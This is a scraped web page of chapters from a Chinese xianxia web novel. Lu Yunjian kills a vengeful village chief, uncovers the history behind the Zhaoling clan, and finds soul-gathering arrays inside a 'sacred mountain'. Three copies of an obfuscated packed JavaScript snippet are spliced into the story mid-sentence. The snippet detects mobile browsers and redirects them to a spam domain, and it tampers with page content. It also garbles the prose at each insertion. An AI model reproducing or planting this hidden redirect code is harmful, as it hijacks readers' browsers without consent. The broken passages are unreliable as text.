陆云笺扫了一眼结界的构造,了然于心,便轻描淡写地一抬手,一道刺目紫光闪过,数丈结界,轰然崩塌! 方才还说“不用就不用”的人,下一刻就用灵力强破了幻境与结界,破月得了指令,正在林间穿梭寻觅,而念了献祭咒的人却像个没事人似的,悠然靠在门边。 见裴世神色不妙,陆云笺解释道:“强行打破幻境和结界是坏习惯,你不要学,可我没说我有什么好习惯啊。而且也不亏,要不是献祭咒暴露了这个结界的阵眼,我还没这么快找到他。” 她说完便不再等待,或许也是怕裴世再说些什么,径直朝着山下奔去。一路奔至阵眼,裴世虽一直紧跟在陆云笺身后,但陆云笺行得极快,他只能勉强跟上,没有机会说别的什么。 村长伏在阵眼旁,似乎已经脱了力,一张脸庞苍白皱缩,眼神却清明,带着明晃晃的恨意。 陆云笺抬手收回破月,懒得和他拐弯抹角:“你认得我?” 村长“呵呵”地笑了起来:“云间世的陆小姐,我怎么会不认得呢。” 陆云笺微微眯起眼:“你谁?” “陆小姐不会认得我,但一定认得罗聿。” “……罗聿?” 云间世尊主与大长老如主如臣,历代大长老身后总是“贤良”之名,书于功德碑,载于修真史,唯有一人不同,那便是云间世第三代掌门陆成蔺身边的大长老罗聿。 罗聿因罪获刑,被陆成蔺亲手诛杀,掌门宽容,留罗聿后代一命,放归乡野。 陆云笺想起修真史上写的有关罗聿的种种罪名,一时没有说话。 “陆成蔺屠尽了照翎族,罪名却由我罗家先祖承担,我罗氏一族日日受梦魇所扰,代代受罪名污身,请问陆小姐,我该不该认得你陆家人?” “……” 三百年前魔王为祸世间,陆成蔺开启法阵召唤照灵鸟残魂,引渡亡魂,助仙人镇压魔王,这是书在修真史卷首的一段美谈,但开启的是什么法阵,献祭的又是何物,没有多少人知晓。 千百年前照灵鸟助天神平息世间灾难后身死,骨骼破碎零落,残魂游荡世间,翎羽落于山谷,化作人形,是为照翎族。照翎族不过二十余人,天生灵力丰沛,却寿数不长,隐于山谷,匿迹销声。 陆成蔺带领天下诸门派开启的召唤照灵鸟残魂的阵法,叫做“照灵阵”。开启照灵阵需以照灵鸟部分残躯为引进行献祭,而陆成蔺献祭的,正是这二十个照翎族。 神鸟翎羽,却具人形,是人,是兽,还是法器? 漫卷功名,塑像金身,画中春秋,都不会给出答案。 世人只知,这一战中罗聿抓捕了所有照翎族,草菅其命,合该万世唾骂,而陆成蔺陆掌门拯救天下,深明大义,当为君子之首,此后三百余年,云间世稳立修真界第一大派不倒。 “所以这个碎魂是三百二十年前死去的照翎族聚成的,你希望通过供奉它来解除梦魇?” “是也不是吧。”村长笑了笑,“这点魂魄游荡了数百年,近些日子不知怎么地汇聚了起来,但没办法吞噬成人的魂魄,只能吞噬孩童的。而陆小姐的魂魄如此之强,它吞噬之后,定然承受不能,会真真正正地魂飞魄散。” 陆云笺冷笑道:“献祭我,诛杀它。你倒是打了一手好算盘。”她说着正欲将他捆了压回云间世,又听他道:“陆小姐不想听听三百二十年前,陆掌门和大长老的渊源?” “你为什么寻仇、寻谁的仇、怎么寻我一概不关心,但你若没本事,死在云间世手里,那也怪不得我。” “那有关照翎族的消息呢?陆小姐也不关心?” 陆云笺操纵捆仙索的手一顿,抬眼看向他。 村长灰暗的眼珠微微转了一转,枯树皮似的面庞忽地皱缩成一个扭曲癫狂的笑容。 忽地一道银光直朝陆云笺的双眼刺来,她下意识闪避,又抬手召回破月。 没了破月的灵力供应,束缚村长的结界倏忽消散,然而他还来不及起身遁逃,便觉腹部一凉。 穿透腹部的那道银光,正是他召来攻击陆云笺的武器。 村长来不及思索陆云笺如何能如此迅速地打回自己的攻击,身体便自腰腹一分为二,上半部分“咚”地砸落在地。 陆云笺虽退了几步,但血飞溅得远,半边衣服仍是被溅上了些许,她见一旁裴世递来一块手帕,便接过来将脸上的血迹擦净,擦完将手帕叠了几叠,塞进了自己怀里。 衣服上的血迹擦不干净,陆云笺也就懒得管,绕到村长的上半身旁,微微弯腰仔细瞧了一会儿。 村长的脸庞已经全然没有血色,笑容却还未曾收起,就这么僵住了。 陆云笺直起身:“死透了。” 裴世扫了一眼地上断成两截的躯体:“……” “应当还要一两个时辰才天亮,先把他稍微埋一埋,明日让我哥派些人来把九桥村的百姓都处置妥当吧。”陆云笺说着,指尖亮起一点紫色灵光,犬一般大小的妖狼自紫光中跃出,立刻便皱了皱鼻子:“好重的血腥味。” “当然了。”陆云笺朝断躯一抬下巴,“你把他埋了,埋浅一点,吓不着人就行。明日还要挖出来的。” 妖狼顺着她的指示看过去,对这番景象倒是见怪不怪,但对陆云笺的命令却十分不满:“我不。” “为什么不?” “不想刨土。”妖狼说着抬起爪子瞥了一眼,表达了对一爪子泥土的不满,又把目光转向裴世,“你让他来埋。” “这不行。” 妖狼气得龇牙咧嘴:“你偏心!” 陆云笺摊手无辜道:“没啊,他刨土没你厉害。” 裴世:“……” 妖狼到底是没拗过陆云笺的霸道无理和裴世的冷漠旁观,呜呜地刨着土,在飞扬的尘土中瞪着两人逐渐走远。 夜深人静,二人将动静放到最低,以免惊动村中百姓。 客房没上锁,屋内陈设还维持着二人离开时的模样。裴世跟着陆云笺进了门,像是忽然想起什么似的顿住脚步:“我去村长房里睡。” 陆云笺摊开被褥,头也不回道:“我看了,门已经锁上了,还施了法术,要破开动静有点大。” “……那我再去找床被子,打个地铺。” “就这一间客房没上锁,也没有别的被子了。”陆云笺像是洞悉他心意般地瞥了一眼床榻,“很挤么?” “我……”裴世还欲说话,就觉陆云笺闪身到了身旁,轻轻拍了一下自己脊背,而后眼前一晃,视角再度矮了一大截。 陆云笺笑着按了按他的肩:“这样就不挤了。” 裴世侧过头,正见桌上立着一面铜镜,铜镜里头映出一张青涩稚嫩的脸,由于气闷而微有些发红。 他转回头,心情沉痛地闭上了眼。 此时夜晚已经过去了大半,二人却都毫无睡意,便都没有除外衣,合衣躺在榻上。 裴世解下腰间佩剑,先拔剑察看一番,确认佩剑并未随着身形变小而受到外形以外的影响后,才像是放心了些,正欲把剑放在一边,犹豫片刻,还是抱着剑躺下了。 陆云笺道:“哎,我怎么不知道你还喜欢抱着剑睡觉?” “没有,”裴世的声音闷闷的,“这地方不安全。” 陆云笺没再说话,靠着墙躺下了。 她原本还有些担心一不小心把裴世挤下去,却不料这床榻似乎比看起来要宽敞不少,裴世离得很远,她要时不时转头瞥一眼,才能确定这个人确实是在榻上,而不是在地上。 前半夜压得人喘不过气的浓浓夜色不知何时似乎减淡了不少,一弯清月高悬,将浓黑墨色驱得更淡了几分。 陆云笺枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16392610|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着手,眼睛一眨不眨地盯着屋顶上浅淡的几条裂缝,不知在想什么,又或许思绪飘飘荡荡无定处,什么也没想。 半晌,陆云笺的声音在黑暗中轻轻响起来:“你不好奇陆掌门和罗长老的事么?” “还……”裴世顿了一瞬,“挺好奇的。如果你愿意告诉我的话。” “史册上写了那么多页的功业与罪状,其实几句话就可以说完。”陆云笺的声音很轻很淡,没什么情绪,“陆掌门为了平息灾乱,利用照翎族开启照灵阵,导致他们灭绝,罗长老当年奉命抓捕照翎族,于是罪名落到了他头上,功业却属陆家。” 裴世没有任何回应,周遭极静,仿佛连呼吸都销声匿迹。 陆云笺没有等他回应,径直问道:“其实我是想问你,如果是你,为救千万人而要杀一人,或是杀几人,你会怎么选?” 那头裴世还是没有说话,陆云笺转头,见他也睁着眼盯着屋顶,明知故问道:“你睡了么?” 裴世的眼睫在外头投进的一丝月光下颤了颤:“没有,我只是在想,但是没有想明白。” “选不出来?” “我没有想过‘救千万人’。” 陆云笺的目光一凝,几乎是茫然地停滞住了,半晌,她才从空白一片的思绪中缓过神来:“我也没有想过。” 只是在灾劫来临之时,身为云间世的修士,跟随父兄,以及凭借本能抵御妖魔而已。 就像知晓照灵骨的功用后,便一心一意地钻研,一刻不停地观察着裴世一样,她很少去思考正确与否,也很少去问自己所思所想。 “换个问题吧。”陆云笺道,“如果你在一场猎杀妖魔的赛事中取得了第四名,你会想要什么奖励?灵丹?灵石?还是武功秘籍?” 裴世疑道:“为什么是第四名?” 陆云笺道:“怎么,不满意?” 裴世道:“那么多名次可以选,为什么选第四?” “我随便说的,”陆云笺道,“其实我更想看你拿第一。” 裴世那头静了片刻,答道:“若是非要选,那就秘籍吧。” 陆云笺轻轻一笑,心道这人无论是四年前还是四年后,无论是十七岁还是二十一岁,果真都没变一点。 “那秘籍、宝剑、钱两呢?” “多少钱两?” “很多,没准可以包下你在云间世十年的花销。” 裴世思考不过片刻便给出了答案:“钱两。” “你很喜欢云间世么?” 这回裴世沉默了,久久没有做声。 陆云笺扑哧一声笑了:“你别回答了,我知道你的答案了。我也不喜欢云间世,我觉得它很没意思。就像,云间世从来不过节,从来不放烟火,除了无聊至极的宴会以外,大家从来不会聚在一起吃饭。” “你喜欢过节吗?” “还成吧,但我很喜欢看烟火,”陆云笺没有意识到自己的声音忽然变轻变缓,“小时候会和我娘一起看。” 那头又是长久的沉寂,久到陆云笺以为他不会再说话,正欲翻身稍睡一会儿时,忽听裴世道:“那你呢?如果要选,灵丹、灵石、秘籍、宝剑,还是钱两?” 这话问得有些奇怪也有些反常,陆云笺倒也认真思考了片刻,虽觉得这些都不缺,却又觉得空空如也、一无所有,于是她诚实地回答:“我不知道。” 此时她才后知后觉,自己的生活是多么单调而漫无目的,空白而毫无意义。她此一身,活下去的信念就是诛尽天下妖邪,除了这件事,她竟再也想不出半点意义。 陆云笺知道这句话算是给这个话题画上了句号,可本能地觉得裴世还有话要说,便半侧着身,睁着眼等他开口。 裴世到底还是开口了,只是一句话在黑暗里浸润了太久,浸得阵阵困意翻涌了不知多少轮,才轻缓地吐出来: “其实我是想说,下回若有机会,就一同去看烟火吧。” 87. 哭伪神 “好啊。” 陆云笺的声音骤然在黑暗中炸起,炸得裴世最后一个字吐字不稳,险些噎回去。 “你是不是以为我睡了?”陆云笺笑道,“我等着你呢。” 裴世只觉浑身僵硬动弹不得,思绪空白片刻,他缓过神来,蓦地闭上眼,屏息装死。 “若是看烟火时配上一壶木梨酒,那才是最好。” 陆云笺见他装睡,便翻回身,毫不客气地去扯他的脸颊:“小柿子,你说我们弄几坛木梨酒藏在流丹阁的暗格里怎么样?或者我们自己酿几坛白梅酒?白梅花的香气清冽悠远,想来很合适。” 许是被陆云笺扯得受不了,裴世又睁开了眼,试图以讥嘲扳回一局:“你会酿酒?” “小瞧我?”陆云笺冷笑一声,不知从哪儿翻出个青瓷小瓶来,倒出一粒药丸似的东西递过去,“尝尝这个再说。” 裴世接过,似是有些疑惑:“这是什么?” “糖。” “大半夜的吃糖?”裴世虽是如此说,却还老老实实地放入口中。 直冲脑颅的苦涩炸开的一瞬,裴世险些一口气没喘上来,偏生不甘示弱,便闭嘴不说话,任由苦涩在嘴里化开,一点一点侵蚀着味觉,直到这阵苦涩滋生出阵阵眩晕,才陡然感觉到了一阵甜。 说来奇怪,这阵纯粹的甜竟要比方才的苦涩强上百倍,好似浓雾一瞬间被金乌驱散,先前的一切都了无痕迹,唯有这甜味清晰无比。 陆云笺撑着头,在一旁笑吟吟地道:“怎么样?是不是很甜?” 裴世在这一苦一甜的突兀转变中勉强缓过劲儿,一时不知如何评价:“这什么……糖?” “我做的,‘苦尽甘来’糖。甜的是普通的糖,只不过略施了一点强化的小法咒。苦的是哀牢的一种药草,提神醒脑有奇效。” “……” “如何,是不是感觉神清气爽、精神百倍?” 像是报复他装睡似的,陆云笺说完这一句便心满意足地换了个姿势,准备小睡一会儿,留裴世在旁边瞪着茫茫黑夜,果真了无睡意。 陆云笺的睡眠向来很浅,第二日天蒙蒙亮时便已醒来,碰巧听见外头传来一阵若有似无的嘈杂声,声音渐渐大起来,似乎是发生了争执。 陆云笺睁开眼,稍稍适应了一会儿渐亮的天光,瞧见裴世正抱手站在窗边向外看,便轻手轻脚走到他身边,笑道:“睡得可好?” 一夜未眠的裴世闻言转过头,似是愤愤地瞥了她一眼。陆云笺避开他的目光,也朝窗外望了一望,只见萧瑟山林,不见人影,想来村人们还没打算来寻村长,都聚在外头。 陆云笺收回目光,颇有些不舍地解了裴世身上的幻形咒:“出去看看。” 正走到院门口,正欲推门而出时,门却先一步开了,进来的正是昨日为二人引路的那名妇人,她一推门,冷不防与二人打了个照面,似是受了惊,退了几步,抚着胸口。 陆云笺立在门边,朝门外望去,见妇人后头跟了几十人,都在往门内看,一时间拥挤推搡却又泾渭分明,一边是暗沉沉的藏蓝,一边是攒动的灰白麻衣。 一众村民原本正伸着头往门内找村长,见着陆云笺和跟在她身旁的裴世,却是又惊又疑,窃窃私语起来。另一边的云间世众弟子见着陆云笺,都恭恭敬敬行了礼,而后目光移向裴世,神情就多了几分奇异。 陆云笺迈出门,走到为首的弟子面前:“来得挺快。如何,大家这是不肯搬不肯走?” 为首的弟子像是已经与村民们争执了一阵,颇有些不满地答道:“他们说村长说了算,非要来找村长。” 陆云笺还未说话,林间适时跌跌撞撞跑出来一人,连滚带爬地叫喊着:“村长,村长,断……断了……” 村民们一时没有反应过来:“什么东西?什么断了?什么断了,说啊!” 那人却像是失了魂一般,哆哆嗦嗦地站在一旁喃喃着:“断了……” 人群中有人颤颤巍巍地道了句:“送上去祭祀的妹子好好地回了,本来早上村长要带我们去神殿拜山神大人的,现在村长也不见了,是不是出什么事儿了啊……” “诸位,听我一句,”陆云笺道,“你们的山神已于昨晚离开,无需再行供奉。这山中多妖魔鬼怪,还请诸位搬离此地,新的住处以及补偿云间世都会处理妥当。” “我说,你是昨天那个妹子吧?带着你弟弟的那个。”昨日引二人找到村长的妇人不知打量了陆云笺多少遍,此时终于开口,“你怎么……怎么成仙门里头的人了?” “因为我知道你们被供奉的事情烦扰许久,所以特意来和山神打个商量,让他老人家大慈大悲去别处,别在这儿折腾了。这不,昨晚供奉上去的女孩儿不是好好地回来了?” “……那那个男娃儿呢?” “他又不是你们村的人,一早我就把他送走了。” 陆云笺扯起谎来面不改色心不跳,村民们虽还是疑惑不安,但也没有什么激烈举动。 “山神大人在时还能护佑我们,这么些年了都没什么妖魔鬼怪,连野兽都少。现在山神大人走了,我们怎么过?” 陆云笺道:“所以这地方不能待了啊。云间世会为你们寻一处更好的地方,没妖魔没野兽,也不用供奉,比这儿要好上不少。” 见村民们犹犹豫豫,但好歹没有抗拒,陆云笺使了个眼色,让弟子们劝一劝,先把人带离九桥村,旁的一切好说。 弟子们当即会意,正极力劝着,那个见了村长尸体后一直仿佛失魂的人像是忽然回了魂,抬手一指陆云笺:“你撒谎!如果不是供奉不合规矩,惹山神大人发了怒,村长怎么会死!” “什么?!”听见村长的死讯,原本还踌躇不定的村民们登时惊惧不已,再也不肯听弟子们的劝说,“村长他……” 陆云笺不愿多生事端、再生麻烦,便顺着众人道:“既是山神发怒,那更应该现在就走,难不成要留在这里等山神降罚吗?” 村民们一时乱作一团,意见不一,渐起争执: “是啊,要不咱们就走吧!” “走哪儿去?山神发怒,你真以为走了就能逃得过吗?” “可是这个云间世不是说会处置妥当吗……” “仙门前前后后来了多少次了!哪次能解决问题?最后护着我们的不还是山神大人!” “我真的受不了了,我的孩子之前还被供奉了上去……我真的不想待在这儿了,走吧,走吧……” “有舍才有得,这么多年我们这儿都不像别的地方那样有邪祟作乱,牺牲一些也是……” “不是你的孩子你当然不心疼!” 陆云笺不再多说,准备等众人稍稍冷静,再加以引导。民间信仰众多,往往不是一句两句就能解决的,仙门也并非说一不二,因此还是把人转移走要紧,至于是山神山鬼,解释不了,也无人会听信他们的口头解释。 此时天已经彻底亮了,只是没什么生气,是冬日独有的苍白阴冷的天色。 自通往村外的小径上忽又奔来一人,应当是守在外围的弟子,慌慌张张地朝陆云笺道:“陆小姐,村子外围忽然起了一道结界,我们、我们出不去了!” 村民们一听这弟子如此说,当即更加慌神,匆匆忙忙奔至村子边缘,果真一步也迈不出去,像是有什么看不见的屏障横亘在面前,将九桥村与外头隔绝开来。 “怎么办!”有人彻底慌了神,跌坐在地,恸哭起来,“山神大人真的发怒了,我们出不去了……要死了……” 此言一出,众人的恐惧便如决堤洪水一般涌将出来,霎时一片混乱。 陆云笺抬头看了看天色,想来这道结界是村长昨晚设下的,到某个时辰便会自行生效。她也不曾料到,村长便是死了也要让他们不痛快,此时再想将村民们的情绪稳住已是不可能,隐瞒也不再有意义。 陆云笺朗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16398655|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声道:“山神已死,这道结界,也并非绝路。”她说着一扬手,破月破空而出,在半空绘制了一道阵法,而后直朝空中刺去——这并不是个什么厉害结界,只几眼便能瞧出破绽。 结界如有实质般地破碎瓦解,陆云笺带头一步迈了出去:“结界已破,诸位大可自便。” 却有村民大惊失色:“你怎么把结界打破了!要是……要是山神大人更怒……” “我说了,山神已死。”陆云笺冷声道,“留在此处有害无利,还望诸位考虑清楚。” “山神大人怎么会……山神大人是神啊,怎么会死?你要怎么证明?” 陆云笺便掏出怀中封住那缕碎裂魂魄的纸包,尽管不曾经过特殊训练的普通人看不见这几缕魂魄,此举注定是徒劳:“山神就在这儿,是个碎裂的魂魄,只是你们不能看见。” 众人果真不信:“你拿个空纸包就想糊弄我们?!” “你们又见过所谓山神的具体形态吗?既是没见过,又怎么知道它不是这样?再者说了,”陆云笺冷冷扫过众人惊惧惶惑的脸,“就算一切依你们所说,山神还在此处,那么我既然能破它的结界,我就可以杀了它。我既然能杀了它,就能把它的一切术法与寄身之所都毁掉。” “可我们怎么知道山神到底怎么样了?!谁知道山神大人是不是在某个地方看着我们,随时准备降下责罚!” “便是它有通天的本事,我也能保住你们。” “可我们要怎么信你?!” “信不信自然是由你们,”陆云笺也没有多少耐心绕来绕去,“可若没有云间世保你们,无论是此间妖魔还是所谓的山神降罚,你们都抵抗不了。” “我懂了。” 人群之中忽然传来一声冷笑,一名面色略微苍白的青年自人群后头走出来:“你们这么想让我们出这个村子,不知安的是什么心。谁知道你们的话有几分真几分假?我看,停止供奉和搬出这个村子才是对山神大人的大不敬,我爹肯定就是为了防止他们妖言惑众,才会死于非命!” 陆云笺抬眼看向他,看来此人是村长的儿子,既然也是罗聿的后代,与云间世想必是不对付的,无论怎么扯,他都不会教云间世顺顺利利地把人带出去。 “齐哥,你是说……” “山神大人从来仁慈,我爹更是一直勤勤恳恳地供奉着山神大人,山神大人怎会忽然降罚!是我爹想要阻止他们,他们就杀了我爹!” 村长的家眷要煽动村民可比一群本就不受待见的仙门子弟要简单多了,村民们当即由惧转怒,同仇敌忾:“是啊!他们手里都有剑!谁知道他们安的什么心!” “神山还在,神殿不倒,山神大人一定还在护佑着我们!这是对我们的考验!” “他们在骗我们!我们不能走!” 村民渐渐逼近,彻底将云间世视作仇敌,甚至有人已经暗中抄起斧子锄头,暗暗蓄着力。 弟子们见村民如此,当即拔剑相对,裴世也侧身挡在陆云笺前面,却被陆云笺轻轻拉开:“不要动手。” “仙门有规,非特殊情况不得对普通百姓动手。”陆云笺抬手示意身后的弟子们放下武器,“不过若是到了特殊情况,我们有能力,也有权力让你们没有还手之力。” 她说着上前一步,将众云间世弟子都挡在身后:“我劝各位也不要把事情闹得太难看,你们说,要如何才能把山神请走?我派弟子开阵祭祀山神,若是山神降下神谕,神殿倒伏,神山崩裂,是否就算山神业已离开?” 人群中又是一阵窃窃私语,陆云笺便立在原地,等他们语出一个结果来。 最后是罗齐上前道:“如果你们的祭祀真能满足你所说的这些,那自然是算。可我们怎么知道你们会不会自己动手毁掉神山和神殿?” 陆云笺一挑眉:“那你说如何?” “除非你们出一个人质,在山神大人降下神谕之前,一直待在神山里。” 88. 聚魂墟 他说完目光便落在陆云笺身上,那意思很明显:这个人质该是谁,不必多说。 裴世也察觉了他的目光,再次上前一步:“我不参与布阵祭祀,我来做人质。” “你谁?”罗齐冷冷扫过裴世一眼,复又看向陆云笺,“我看这位是你们的头领吧?就她来吧。” 陆云笺拍拍裴世,示意他放心,而后笑道:“那便我来。”说着放低声音,微不可察地笑着对罗齐补了一句,“不管你想做什么,我劝你,多小心些。” 罗齐丝毫不惧,笑着低声回道:“还是请陆小姐多加小心吧。”说完便回身低声对村民们说着什么。 陆云笺不再理会村人,转头对身后一众弟子道:“你们分成四拨,围绕神山,行镇邪除祟之阵。原先守在外围的弟子继续守着,别让这些村民乱跑。” 吩咐了一圈,瞥到站在一旁一言不发的裴世,陆云笺思绪一顿,一时不知该把他分往何处,最终抬手拍了拍他的肩:“你就和村民们一块儿待着吧,看着他们点儿。” 裴世抬眸看着陆云笺,没有说话,也没有更多的动作。 云间世的弟子们得了吩咐,四下散了去布阵,罗齐则捧了两段绳索,准备捆住陆云笺的手脚。 陆云笺扫了一眼,笑道:“捆仙索,你也修道?” 罗齐没有回答,先把她双手缚住,而后唤了两个村民上来,押着陆云笺往神山的方向去。 陆云笺并不介意如此被人捆着押着,朝身后不由自主跟着迈了几步的裴世使了个微不可察的眼色,便低着头“老老实实”地往神山去了。 昨日陆云笺没有仔细察看神山,此时来到山脚,才知重重草木遮掩后的石壁上暗藏着一扇石门,罗齐上前将石门打开,露出门后的窄小洞穴来。 陆云笺被推入洞穴,黑暗霎时劈头盖脸地罩了下来,阴暗逼仄的环境反倒有种说不清道不明的熟悉与适应。 罗齐将陆云笺的双脚也缚住,像是忽然想起什么,道:“我知陆小姐神通广大,区区捆仙索想必不能对陆小姐造成什么妨碍。” 陆云笺抬眸:“所以?” “所以为了确保山神大人不受影响,”一句“山神大人”像是再度把他身后的村民们唤醒了似的,一道道目光尽数凝聚在陆云笺身上,有些刺眼,“陆小姐还是封住经脉为好。” 陆云笺冷笑道:“又是捆仙索又是封经脉的,我不会影响山神,又怎知你们会不会加害于我?” “那陆小姐以为应当如何?” “关上石门后,你们必须待在距神山十丈之外。” “自然可以。”罗齐答应得很痛快,快速点过陆云笺身上几处穴位,是最常用的封住经脉的法子,陆云笺默然等他封完,仍然没有异议。 两人心知肚明对方定然在打着什么主意,可谁也不便挑明。石门轰隆合上,微弱的光彻底被隔绝在外头。 陆云笺静坐片刻,只微微一动,缚住手脚的捆仙索便解了,起身活动一下筋骨,也没什么妨碍。 洞穴十分狭窄逼仄,尽管四周伸手不见五指,陆云笺的视力却并未受太多影响。她四下环视一圈,只见四处蛛网密布,脚下铺了层干草,密密麻麻的虫蚁在角落里聚集,除此以外,并无其他。 此时村民们都在外头,罗齐也必不会老老实实地等在十丈之外,因此不能直接将四周的石壁炸开,陆云笺思索片刻,抬手召出破月匕首。 破月的灵光明亮如常,陆云笺所修的并不是寻常的正道之法,正如她不能使用许多正统术法一样,寻常的封住经脉的方法也并不会对她有任何效用。 陆云笺一边驱动破月一点一点凿开石壁,一边四下观察,还要防止神山因被凿空而忽然倒塌——神山会塌,但还不到时候。 不知凿了多久,脚下的道路逐渐延伸,陆云笺沿着被凿开的道路缓缓前进,看得双眼都有些疲惫了,终于嗅到了一丝术法的气息。不多时,石壁上出现了一丝暗红的痕迹,陆云笺用脚扫开干草,果然在地上看到了大片暗红的阵法图案。 陆云笺掌心托起一团火焰,将四周照得如同白昼。 脚下的暗红法阵诡谲复杂,只显现出了一部分,其余部分还掩在没有被凿开的石壁之下。再看四周,是无数缩小数倍的暗红法阵,与脚下巨大的法阵一模一样,线条交错盘绕,形状扭曲诡谲,却是个不折不扣的正统术法。 陆云笺正蹙眉思索,一旁的石壁忽地轰隆炸开,碎石滚滚下落,砸在她脚边。光与寒风刹那自一人高的洞口灌入,陆云笺离洞口近,一时甚至适应不能。 一个身影弯腰自洞口走入,手中提着的剑尚未收起,人还未至,略带焦躁的声音先一步钻了进来:“你发现了什么?怎么还不出去?” 陆云笺收回目光,继续观察着石壁上的阵法:“动静有点儿大,没问题么?” 裴世蹙着眉,目光也停在石壁上:“他们暂时顾不上这边。不出你所料,我伪造了神谕,但全无效用。罗齐煽动村民放火烧山,此时还在石门那边,用烈火符布阵。” 陆云笺这才知道自己无意中几乎凿穿了这座山,以至于此处被裴世炸了一个洞,另一边的村民却全然未觉。 “那日我去诛杀妖兽,偶然得了这把剑,武器的力量往往与镇守妖兽相连,妖兽死了也有一段时日了,这回你又用它劈山,这剑还好么?” “无事。”裴世将剑收入剑鞘,剑上的隐隐裂痕被彻底遮掩住,“这是你找到的东西?” 陆云笺往一旁让开一步,方便裴世近距离察看石壁上的阵法:“熟悉么?” “不,”裴世仔细辨认片刻,“只见过一次,在藏书阁的一些残卷里……” “合魂……”裴世的目光在阵法细微之处停留许久,“聚魂之阵?” 陆云笺点头:“聚魂阵和合魂阵非常相似,只是合魂阵是由上古传下来的阵法演变而成,在一些旧卷中有记载,聚魂阵是后世研究出来的合魂阵的变体,不常用,记载也极少。这座山之所以被称作神山,必然有其缘由。神山是‘山神’的据地,想来那几缕碎魂,就一直徘徊在这座山上,既然是被聚起来的魂魄,它徘徊的地方就必然会有将其聚起来或者唤醒的阵法——这不,挖了半天,总算找着了。” 裴世道:“村长没有理由聚魂。” “嗯,而且我认为他也没有开聚魂阵的本事。”陆云笺道,“这里有这么多个聚魂阵,到底是为了增强聚魂的效力呢,还是为了拼凑更多的魂魄?” 裴世抬眸看向陆云笺。 “拼凑”二字恰到好处,仿佛拼燕几图似的,将一丝一缕碎魂唤回来,拼成一个完整的魂魄,只是未曾开启合魂阵,被聚起来的魂魄还是碎裂的状态,并不能说是完整。 裴世将目光重新投向石壁上的聚魂阵:“是照翎族?” 听到“照翎族”三字,陆云笺身形微微一凝,而后笑道:“是,神龛里边绘的不也是照灵鸟么。过了三百年了……谁会大费周章地把照翎族的碎魂聚集起来呢?” 照翎族的灵力虽然纯粹充沛,但到底是细微翎羽所化,这样勉强聚起来的一个孤零零的魂魄,恐怕起不到什么效用,至少不会如诸多仙门所期望的一般,发挥照灵骨,甚至是照灵鸟那般强大的效用。 陆云笺尚在思索,被裴世破开的洞口外却传来一阵人声。 脚步声由远及近,匆匆奔至洞口,焦急慌张的声音夹在寒风中钻进来:“这里怎么有个洞?!她跑了吗?!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16402430|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没呢。” 陆云笺走至洞口,正在洞外探头探脑的人被吓得一个踉跄跌坐在地,一时间哆嗦着说不出话。 “怎么,不是说不能亵渎山神大人么,这会儿都想着把山神大人的老巢烧了?” “你果真是妖女吧?!”跌倒在地的村民顾不得起身便躲远了,颤抖的声音被寒风切割得断续不清,“火!放火啊!!” 可谁也放不了火,罗齐带头布的阵法需用烈火符绕山贴一圈,此时不过贴了半圈,离布好阵法还差得远。 陆云笺不想再与这群人废话,接过裴世递来的捆仙索,一挥手便将村民们绑了个严实,又特意寻了罗齐,笑道:“被捆仙索绑着的滋味如何?” “你!”罗齐愤然咬牙道,“你不是……” 陆云笺不再理会他,只唤了弟子们来将村民都带回云间世。一行人退至村口,神山底部已被凿得几近中空,由陆云笺的灵力支撑着,才没有立刻崩塌。 陆云笺抬眸望了不远处的神山和孤零零立在山顶的神殿一眼,转身对被捆仙索缚住、神情各异的村民们道:“不管你们信不信,护佑你们的并不是山神,此地有些稀薄的灵气,可以防止妖魔与野兽接近。如今所谓的山神已死,往后你们换了住处,不要再行供奉了。” 话音落,石山轰然崩塌,金红璀璨的神殿与碎石一道崩裂瓦解,灰沉沉天色下唯一明亮的色彩就此被碎石尘灰掩盖,一同化作了黯淡的灰。 众多村民恐怕受不了御剑,因此陆云笺雇了十几辆马车,浩浩荡荡地拉着弟子们与村民们一道回云间世。 陆云笺与裴世的马车行在最前头,行得缓慢,陆云笺倚在车窗边,看着外头的景色:“原本还想和和气气地把事办完,不想还是要把人押回云间世,不知我哥见着这么一大群人,会有何感想。” “我们的职责原也只是镇邪除祟,”裴世抱着剑倚在一旁,“至于少主看到这些人……或许会有些惊喜,毕竟活人比死的卷宗总要更有意思。” “是吗?”陆云笺笑问,片刻后又自己答道,“至少有了些活气,更热闹,甚至还有些吵。” 短短几句无关紧要的话没能让氛围轻松些,陆云笺又靠着窗开始思索照翎族的事,忽听裴世问道:“仙门都想要发掘照灵鸟的力量吗?” 换言之,是不是都想要找到照翎族,找到照灵骨,更甚者,如同三百二十年前,召唤照灵鸟。 